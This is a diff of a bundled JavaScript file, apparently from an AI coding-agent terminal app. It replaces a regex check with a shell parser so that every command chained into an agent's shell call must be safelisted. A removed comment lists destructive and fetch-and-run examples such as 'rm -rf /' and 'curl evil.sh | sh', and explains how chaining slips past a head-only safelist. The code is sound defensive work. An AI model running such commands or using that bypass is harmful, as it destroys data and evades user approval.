|
8156
|
+
/** Simple command — extract head, skip remaining arguments. */
|
|
8157
|
+
cmd(closer) {
|
|
8158
|
+
this.ws();
|
|
8159
|
+
if (this.i >= this.s.length) return;
|
|
8160
|
+
if (closer && this.c() === closer) return;
|
|
8161
|
+
if (this.c() === "(") {
|
|
8162
|
+
this.i++;
|
|
8163
|
+
this.list(")");
|
|
8164
|
+
return;
|
|
8165
|
+
}
|
|
8166
|
+
if (this.c() === "!" && this.i + 1 < this.s.length && (this.s[this.i + 1] === " " || this.s[this.i + 1] === " ")) {
|
|
8167
|
+
this.i++;
|
|
8168
|
+
this.ws();
|
|
8169
|
+
}
|
|
8170
|
+
while (this.i < this.s.length && !this.sep(closer)) {
|
|
8171
|
+
if (this.c() === "(") {
|
|
8172
|
+
this.i++;
|
|
8173
|
+
this.list(")");
|
|
8174
|
+
break;
|
|
8175
|
+
}
|
|
8176
|
+
const w = this.word();
|
|
8177
|
+
if (!w) break;
|
|
8178
|
+
if (isAssignment(w)) {
|
|
8179
|
+
this.ws();
|
|
8180
|
+
continue;
|
|
8181
|
+
}
|
|
8182
|
+
this.heads.push(w);
|
|
8183
|
+
break;
|
|
8184
|
+
}
|
|
8185
|
+
this.tail(closer);
|
|
8186
|
+
}
|
|
8187
|
+
/** Read one shell word, handling quoting and substitutions. */
|
|
8188
|
+
word() {
|
|
8189
|
+
let out = "";
|
|
8190
|
+
while (this.i < this.s.length) {
|
|
8191
|
+
const c = this.c();
|
|
8192
|
+
if (META.has(c)) break;
|
|
8193
|
+
if (c === "\\" && this.i + 1 < this.s.length) {
|
|
8194
|
+
out += this.s[this.i + 1];
|
|
8195
|
+
this.i += 2;
|
|
8196
|
+
continue;
|
|
8197
|
+
}
|
|
8198
|
+
if (c === "'") {
|
|
8199
|
+
this.i++;
|
|
8200
|
+
while (this.i < this.s.length && this.s[this.i] !== "'") out += this.s[this.i++];
|
|
8201
|
+
if (this.i < this.s.length) this.i++;
|
|
8202
|
+
continue;
|
|
8203
|
+
}
|
|
8204
|
+
if (c === "\"") {
|
|
8205
|
+
out += this.dquote();
|
|
8206
|
+
continue;
|
|
8207
|
+
}
|
|
8208
|
+
if (this.is("$(")) {
|
|
8209
|
+
this.i += 2;
|
|
8210
|
+
this.list(")");
|
|
8211
|
+
continue;
|
|
8212
|
+
}
|
|
8213
|
+
if (c === "`") {
|
|
8214
|
+
this.btick();
|
|
8215
|
+
continue;
|
|
8216
|
+
}
|
|
8217
|
+
out += c;
|
|
8218
|
+
this.i++;
|
|
8219
|
+
}
|
|
8220
|
+
return out;
|
|
8221
|
+
}
|
|
8222
|
+
/** Double-quoted string — returns literal chars, recurses into substitutions. */
|
|
8223
|
+
dquote() {
|
|
8224
|
+
this.i++;
|
|
8225
|
+
let out = "";
|
|
8226
|
+
while (this.i < this.s.length && this.s[this.i] !== "\"") {
|
|
8227
|
+
if (this.s[this.i] === "\\" && this.i + 1 < this.s.length) {
|
|
8228
|
+
out += this.s[this.i + 1];
|
|
8229
|
+
this.i += 2;
|
|
8230
|
+
continue;
|
|
8231
|
+
}
|
|
8232
|
+
if (this.is("$(")) {
|
|
8233
|
+
this.i += 2;
|
|
8234
|
+
this.list(")");
|
|
8235
|
+
continue;
|
|
8236
|
+
}
|
|
8237
|
+
if (this.s[this.i] === "`") {
|
|
8238
|
+
this.btick();
|
|
8239
|
+
continue;
|
|
8240
|
+
}
|
|
8241
|
+
out += this.s[this.i++];
|
|
8242
|
+
}
|
|
8243
|
+
if (this.i < this.s.length) this.i++;
|
|
8244
|
+
return out;
|
|
8245
|
+
}
|
|
8246
|
+
/** Backtick substitution — creates a sub-parser for the inner content. */
|
|
8247
|
+
btick() {
|
|
8248
|
+
this.i++;
|
|
8249
|
+
const close = this.s.indexOf("`", this.i);
|
|
8250
|
+
const sub = new ShellParser(close < 0 ? this.s.slice(this.i) : this.s.slice(this.i, close));
|
|
8251
|
+
sub.list();
|
|
8252
|
+
this.heads.push(...sub.heads);
|
|
8253
|
+
this.i = close < 0 ? this.s.length : close + 1;
|
|
8254
|
+
}
|
|
8255
|
+
/** Skip remaining arguments and redirections until the next command boundary. */
|
|
8256
|
+
tail(closer) {
|
|
8257
|
+
while (this.i < this.s.length) {
|
|
8258
|
+
this.ws();
|
|
8259
|
+
if (this.i >= this.s.length || this.sep(closer)) break;
|
|
8260
|
+
if (this.redir()) continue;
|
|
8261
|
+
if (this.c() === "(") {
|
|
8262
|
+
this.i++;
|
|
8263
|
+
this.list(")");
|
|
8264
|
+
continue;
|
|
8265
|
+
}
|
|
8266
|
+
if (!this.word()) break;
|
|
8267
|
+
}
|
|
8268
|
+
}
|
|
8269
|
+
/** Try to consume an I/O redirection operator + target. Returns true if consumed. */
|
|
8270
|
+
redir() {
|
|
8271
|
+
const c = this.c();
|
|
8272
|
+
let yes = c === "<" || c === ">";
|
|
8273
|
+
if (!yes && c >= "0" && c <= "9" && this.i + 1 < this.s.length) {
|
|
8274
|
+
const n = this.s[this.i + 1];
|
|
8275
|
+
yes = n === "<" || n === ">";
|
|
8276
|
+
}
|
|
8277
|
+
if (!yes) return false;
|
|
8278
|
+
while (this.i < this.s.length && this.s[this.i] >= "0" && this.s[this.i] <= "9") this.i++;
|
|
8279
|
+
if (this.c() === ">") {
|
|
8280
|
+
this.i++;
|
|
8281
|
+
if (this.c() === ">") this.i++;
|
|
8282
|
+
if (this.c() === "&") {
|
|
8283
|
+
this.i++;
|
|
8284
|
+
while (this.i < this.s.length && this.s[this.i] >= "0" && this.s[this.i] <= "9") this.i++;
|
|
8285
|
+
return true;
|
|
8286
|
+
}
|
|
8287
|
+
} else if (this.c() === "<") {
|
|
8288
|
+
this.i++;
|
|
8289
|
+
if (this.c() === "<") {
|
|
8290
|
+
this.i++;
|
|
8291
|
+
if (this.c() === "-") this.i++;
|
|
8292
|
+
}
|
|
8293
|
+
}
|
|
8294
|
+
this.ws();
|
|
8295
|
+
this.word();
|
|
8296
|
+
return true;
|
|
8297
|
+
}
|
|
8298
|
+
/** True at a command boundary (`;`, `\n`, `&`, `|`, `)`, or closer). */
|
|
8299
|
+
sep(closer) {
|
|
8300
|
+
const c = this.c();
|
|
8301
|
+
if (c === ";" || c === "\n" || c === "\r" || c === "&" || c === ")") return true;
|
|
8302
|
+
if (c === "|") return true;
|
|
8303
|
+
if (closer && c === closer) return true;
|
|
8304
|
+
return false;
|
|
8305
|
+
}
|
|
8306
|
+
/** True when past end or at closer (closer is consumed). */
|
|
8307
|
+
end(closer) {
|
|
8308
|
+
if (this.i >= this.s.length) return true;
|
|
8309
|
+
if (closer && this.c() === closer) {
|
|
8310
|
+
this.i++;
|
|
8311
|
+
return true;
|
|
8312
|
+
}
|
|
8313
|
+
return false;
|
|
8314
|
+
}
|
|
8315
|
+
c() {
|
|
8316
|
+
return this.s[this.i] ?? "";
|
|
8317
|
+
}
|
|
8318
|
+
is(s) {
|
|
8319
|
+
return this.s.startsWith(s, this.i);
|
|
8320
|
+
}
|
|
8321
|
+
ws() {
|
|
8322
|
+
while (this.i < this.s.length && (this.s[this.i] === " " || this.s[this.i] === " ")) this.i++;
|
|
8323
|
+
}
|
|
8324
|
+
};
|
|
8325
|
+
/** `NAME=…` where NAME is a valid shell identifier. */
|
|
8326
|
+
function isAssignment(w) {
|
|
8327
|
+
const eq = w.indexOf("=");
|
|
8328
|
+
if (eq <= 0) return false;
|
|
8329
|
+
return /^[A-Z_]\w*$/i.test(w.slice(0, eq));
|
|
8330
|
+
}
|
|
8331
|
+
//#endregion
|
|
7813
8332
|
//#region src/chat/safe-mode.ts
|
|
7814
8333
|
/**
|
|
7815
8334
|
* Safe-mode storage + matching for the TUI.
|
|
@@ -7935,66 +8454,23 @@ function primaryArgToken(input) {
|
|
|
7935
8454
|
return primaryArgValue(input).trim().split(/\s+/)[0] ?? "";
|
|
7936
8455
|
}
|
|
7937
8456
|
/**
|
|
7938
|
-
* Shell features that introduce a SECOND, UNRELATED command into the
|
|
7939
|
-
* pipeline — and would silently bypass a `shell:<head>:*` safelist that
|
|
7940
|
-
* the user only meant to cover the head program. We block these
|
|
7941
|
-
* specifically:
|
|
7942
|
-
*
|
|
7943
|
-
* - `;` — sequence operator (`git status; rm -rf /`)
|
|
7944
|
-
* - `&&` / `||` — and-/or-chains (`git status && curl evil.sh | sh`)
|
|
7945
|
-
* - `\n` / `\r` — multi-line scripts, equivalent to `;`
|
|
7946
|
-
* - `` ` `` — backtick command substitution (`echo \`rm -rf /\``)
|
|
7947
|
-
* - `$(…)` — modern command substitution (`echo $(rm -rf /)`)
|
|
7948
|
-
*
|
|
7949
|
-
* We deliberately do NOT block:
|
|
7950
|
-
*
|
|
7951
|
-
* - `|` — pipes; required for the bread-and-butter CLI pattern
|
|
7952
|
-
* `sentry issue list … | jq -r '.[]'`.
|
|
7953
|
-
* - `>` / `>>` / `<` / `2>&1` — I/O redirection; `cmd > out.txt` and
|
|
7954
|
-
* `cmd 2>&1 | jq` are normal CLI usage.
|
|
7955
|
-
* - `&` (alone) — backgrounding; runs the same command in the background
|
|
7956
|
-
* rather than chaining a new one.
|
|
7957
|
-
* - `(…)` — subshells; rare in practice, and the chaining
|
|
7958
|
-
* detectors above already catch the dangerous content
|
|
7959
|
-
* that would typically live inside them.
|
|
7960
|
-
*
|
|
7961
|
-
* Trade-off: a model that controls the output of the safelisted head
|
|
7962
|
-
* command could in principle pipe garbage into a destructive tool
|
|
7963
|
-
* (`sentry list | sh`). The original implementation blocked all
|
|
7964
|
-
* metacharacters to avoid that risk, but it made `shell:<head>:*`
|
|
7965
|
-
* unusable for real CLI workflows — users hit the prompt on every
|
|
7966
|
-
* `cmd | jq` and learned to ignore the modal. Allowing pipes/redirects
|
|
7967
|
-
* trusts the user's explicit "I want everything starting with <head>"
|
|
7968
|
-
* decision; the chaining rejections above keep the obvious escape
|
|
7969
|
-
* hatches closed.
|
|
7970
|
-
*
|
|
7971
|
-
* The regex is intentionally generous: false positives (e.g. a literal
|
|
7972
|
-
* `&&` inside a quoted argument) just prompt the user again, which is
|
|
7973
|
-
* the safe failure mode.
|
|
7974
|
-
*/
|
|
7975
|
-
const SHELL_CHAINING_RE = /&&|\|\||\$\(|[;`\n\r]/;
|
|
7976
|
-
function hasShellChaining(command) {
|
|
7977
|
-
return SHELL_CHAINING_RE.test(command);
|
|
7978
|
-
}
|
|
7979
|
-
/**
|
|
7980
8457
|
* Test whether a `{ tool, input }` pair is covered by one safelist entry.
|
|
7981
8458
|
*
|
|
7982
8459
|
* Supported entry shapes:
|
|
7983
|
-
* - `"<tool>"` — broad match on tool name.
|
|
7984
|
-
* must not chain through another program (see {@link SHELL_CHAINING_RE}).
|
|
8460
|
+
* - `"<tool>"` — broad match on tool name.
|
|
7985
8461
|
* - `"<tool>:<token>:*"` — match when the primary arg's first token
|
|
7986
|
-
* equals `<token>`.
|
|
7987
|
-
*
|
|
7988
|
-
*
|
|
8462
|
+
* equals `<token>`.
|
|
8463
|
+
*
|
|
8464
|
+
* This function matches a **single command** against a **single entry**.
|
|
8465
|
+
* For shell commands that chain multiple programs (`&&`, `||`, `;`,
|
|
8466
|
+
* `$(…)`, etc.), use {@link isOnSafelist} which parses the full command
|
|
8467
|
+
* and checks every head token independently.
|
|
7989
8468
|
*
|
|
7990
8469
|
* Entries that don't fit either shape are ignored (forward-compat for
|
|
7991
8470
|
* future pattern syntax — readers shouldn't choke on entries written
|
|
7992
8471
|
* by a newer version of the TUI).
|
|
7993
8472
|
*/
|
|
7994
8473
|
function matchesSafelistEntry(entry, tool, input) {
|
|
7995
|
-
if (tool === "shell") {
|
|
7996
|
-
if (hasShellChaining(typeof input.command === "string" ? input.command : "")) return false;
|
|
7997
|
-
}
|
|
7998
8474
|
if (entry === tool) return true;
|
|
7999
8475
|
const sep = entry.indexOf(":");
|
|
8000
8476
|
if (sep <= 0) return false;
|
|
@@ -8003,9 +8479,26 @@ function matchesSafelistEntry(entry, tool, input) {
|
|
|
8003
8479
|
if (scope.endsWith(":*")) return primaryArgToken(input) === scope.slice(0, -2);
|
|
8004
8480
|
return false;
|
|
8005
8481
|
}
|
|
8006
|
-
/**
|
|
8482
|
+
/**
|
|
8483
|
+
* True when a call matches ANY entry in the project's safelist (or is
|
|
8484
|
+
* implicitly safe).
|
|
8485
|
+
*
|
|
8486
|
+
* For `shell` commands, the full command string is parsed into individual
|
|
8487
|
+
* commands (handling `&&`, `||`, `;`, `|`, `$(…)`, backticks, subshells).
|
|
8488
|
+
* Every command head must be covered by at least one safelist entry for
|
|
8489
|
+
* the call to pass. If parsing fails, returns `false` (prompt the user).
|
|
8490
|
+
*/
|
|
8007
8491
|
function isOnSafelist(entries, tool, input) {
|
|
8008
8492
|
if (IMPLICITLY_SAFE_TOOLS.includes(tool)) return true;
|
|
8493
|
+
if (tool === "shell") {
|
|
8494
|
+
const heads = extractCommandHeads(typeof input.command === "string" ? input.command : "");
|
|
8495
|
+
if (heads === null) return false;
|
|
8496
|
+
if (heads.length === 0) return entries.some((e) => matchesSafelistEntry(e, tool, input));
|
|
8497
|
+
return heads.every((head) => entries.some((e) => matchesSafelistEntry(e, tool, {
|
|
8498
|
+
...input,
|
|
8499
|
+
command: head
|
|
8500
|
+
})));
|
|
8501
|
+
}
|
|
8009
8502
|
return entries.some((e) => matchesSafelistEntry(e, tool, input));
|
|
8010
8503
|
}
|
|
8011
8504
|
/**
|
|
@@ -9296,6 +9789,6 @@ function countNeighbors(turnIds, turnId) {
|
|
|
9296
9789
|
};
|
|
9297
9790
|
}
|
|
9298
9791
|
//#endregion
|
|
9299
|
-
export { patchMcpCredential as $,
|
|
9792
|
+
export { patchMcpCredential as $, collectReferences as $n, TODO_STATUS_GLYPHS as $r, isEditErrorResult as $t, getSafelist as A, resolveApprovalForPayload as An, anthropicDescriptor as Ar, SettingsProvider as At, oauthUsesManualCodePaste as B, keybindingsPath as Bn, piIdOf as Br, CATPPUCCIN_MACCHIATO as Bt, resolveSessionExportTarget as C, splitLines as Cn, readCredentials as Cr, buildHints as Ct, useSafeModeQueue as D, maskToOutcomeKinds as Dn, writeCredentials as Dr, DEFAULT_SETTINGS as Dt, useSafeModeActions as E, buildEditOutcomesAnnotation as En, setProviderCredential as Er, useEnabledToggleSet as Et, suggestSafelistEntry as F, DEFAULT_KEYBINDINGS as Fn, getModelInfo as Fr, resolveChipColor as Ft, indexOfEntry as G, stripJsonComments as Gn, DEFAULT_PERSIST_EXCLUDE_TOOLS as Gr, useDiscoveryOptional as Gt, supportsOAuth as H, mergeKeybindings as Hn, BUILTIN_AGENTS as Hr, createDiscoverySlot as Ht, writeProjects as I, KEYBINDING_DEFS as In, modelSupportsReasoning as Ir, resolveTheme as It, discoverProjectMcps as J, uniqueSkillNamesFromReferences as Jn, resolveAgentId as Jr, resolveConfig as Jt, buildMcpServers as K, SKILLS_TRIGGER as Kn, PLAN_AGENT as Kr, ConfigProvider as Kt, splitPromptSegments as L, KEYBINDING_DEF_BY_ACTION as Ln, modelsForDescriptor as Lr, VAPORWAVE_THEME as Lt, matchesSafelistEntry as M, stripEditOutcomesAnnotation as Mn, credKeyOf as Mr, useSettings as Mt, projectsFilePath as N, summarizeOutcomes as Nn, effectiveContextWindow as Nr, BUILTIN_THEMES as Nt, IMPLICITLY_SAFE_TOOLS as O, mergeApprovalAndBodyOutcomes as On, BUILTIN_PROVIDERS as Or, SETTINGS_CHOICES as Ot, readProjects as P, findGitRoot$1 as Pn, getContextWindow as Pr, DEFAULT_THEME as Pt, mcpCredentialsPath as Q, applyInsert as Qn, TODOWRITE_TOOL as Qr, eventsFromTurns as Qt, formatPathForCwd as R, ensureKeybindingsFile as Rn, openaiDescriptor as Rr, CATPPUCCIN_FRAPPE as Rt, renderSession as S, envSection as Si, previewEditPayload as Sn, credentialsPath as Sr, generateSessionTitle as St, SafeModeProvider as T, tokenize as Tn, removeProviderCredential as Tr, listProjectFiles as Tt, buildModelCatalog as U, parseBindingSpec as Un, DEFAULT_AGENT_ID as Ur, DiscoveryProvider as Ut, runOAuthLogin as V, matchesBinding as Vn, BUILD_AGENT as Vr, CATPPUCCIN_MOCHA as Vt, filterModelCatalog as W, readKeybindings as Wn, DEFAULT_BUDGET_EXCLUDE_TOOLS as Wr, useDiscovery as Wt, projectUserPaths as X, createFilesCompletionProvider as Xn, TODOREAD_TOOL as Xr, createStateStore as Xt, parseMcpsFile as Y, FILES_TRIGGER as Yn, singleAgentRegistry as Yr, EDIT_TOOL_NAMES as Yt, createFileMcpCredentialStore as Z, uniqueFilesFromReferences as Zn, TODOS_METADATA_KEY as Zr, deriveSessionTitle as Zt, turnContextSize as _, PLAN_MODE_DOCTRINE_NO_PROMPTS as _i, buildUnifiedDiff as _n, resolvePlatformPackage as _r, EMPTY_HINTS as _t, computeTurnAnchors as a, pickActiveRunId as ai, marginTopFor as an, tryOpenBrowser as ar, splitMarkdownCodeBlocks as at, defaultSkillScanPaths as b, buildBuildSystem as bi, extractEditPayload as bn, detectAuth as br, truncateTrailing as bt, formatToolCall as c, setTodosForRun as ci, stripSpawnTokensLine as cn, buildUpdateHint as cr, PRESENT_PLAN_TOOL as ct, useSelectStyle as d, COMMUNICATION_DOCTRINE as di, toolCallPreview as dn, compareSemver as dr, isInteractionTool as dt, TODO_WRITE_COUNTS_METADATA_KEY as ei, isTurnHighlighted as en, findActiveTrigger as er, McpAuthProvider as et, useSurfaces as f, DOING_TASKS_DOCTRINE as fi, toolResultText as fn, detectLibc as fr, makeRequestInteraction as ft, finalizeStreamingMarkdownForOwner as g, PLAN_MODE_DOCTRINE as gi, buildContextualDiff as gn, performSelfUpdate as gr, useInteractionsQueue as gt, finalizeStreamingMarkdown as h, INTERACTION_GUIDANCE_NO_PROMPTS as hi, applyEditPayload as hn, performInPlaceSelfUpdate as hr, useInteractionsActions as ht, turnAsText as i, isTodoTool as ii, loadState as in, buildLinearRamp as ir, reduceMcpAuth as it, isOnSafelist as j, rewriteMultiEditHeader as jn, cerebrasDescriptor as jr, clampFps as jt, addToSafelist as k, parseEditOutcomesFromResult as kn, OUTPUT_RESERVE_TOKENS as kr, SETTINGS_TOGGLES as kt, ThemeProvider as l, useActiveTodos as li, sumRunCosts as ln, useUpdateCheck as lr, buildResumedToolResultsTurn as lt, useTheme as m, INTERACTION_GUIDANCE as mi, updateToolEventOutcomes as mn, parseSemver as mr, serializeInteractionResponse as mt, deleteTurnSafely as n, getArchivedTodosForRun as ni, lastContextSizeFromTurns as nn, useCompletion as nr, useMcpAuthState as nt, TOOL_DISPLAY as o, pruneTodosByRun as oi, saveState as on, bootProfileEnabled as or, ASK_USER_TOOL as ot, useSyntaxStyles as p, IDENTITY_PREFIX as pi, turnSelectionOwnership as pn, detectPackageManager as pr, pendingInteractionsFromTurns as pt, defaultMcpsConfigPaths as q, createSkillsCompletionProvider as qn, accentColor as qr, useConfig as qt, truncateTurnsAt as r, getTodosForRun as ri, listSessionMeta as rn, blendHsl as rr, getMcpAuthStatus as rt, displayNameFor as s, selectActiveTodos as si, selectableTurnIds as sn, bootTick as sr, InteractionsProvider as st, countNeighbors as t, createTodoTools as ti, isVisible as tn, mergeReferences as tr, useMcpAuthDispatch as tt, useColors as u, ACTIONS_WITH_CARE_DOCTRINE as ui, titleFromTurns as un, checkForUpdate as ur, createInteractionTools as ut, useStreamBuffer as v, SUBAGENT_GUIDANCE as vi, computeInlineDiff as vn, AUTO_COMPACT_MIN_GROWTH_FRACTION as vr, clipHintsToWidth as vt, writeSessionExport as w, summarizeEditPayload as wn, readProviderCredential as wr, shortChord as wt, discoverProjectSkills as x, buildPlanSystem as xi, filetypeFromPath as xn, applyApiKeyEnv as xr, cleanTitle as xt, buildSkillsConfig as y, TOKEN_DISCIPLINE_DOCTRINE as yi, computeLineDiff as yn, shouldAutoCompact as yr, hintsLength as yt, fetchOAuthRedirect as z, formatBindingForDisplay as zn, openrouterDescriptor as zr, CATPPUCCIN_LATTE as zt };
|
|
9300
9793
|
|
|
9301
|
-
//# sourceMappingURL=turn-operations-
|
|
9794
|
+
//# sourceMappingURL=turn-operations-CH7rnULP.js.map
|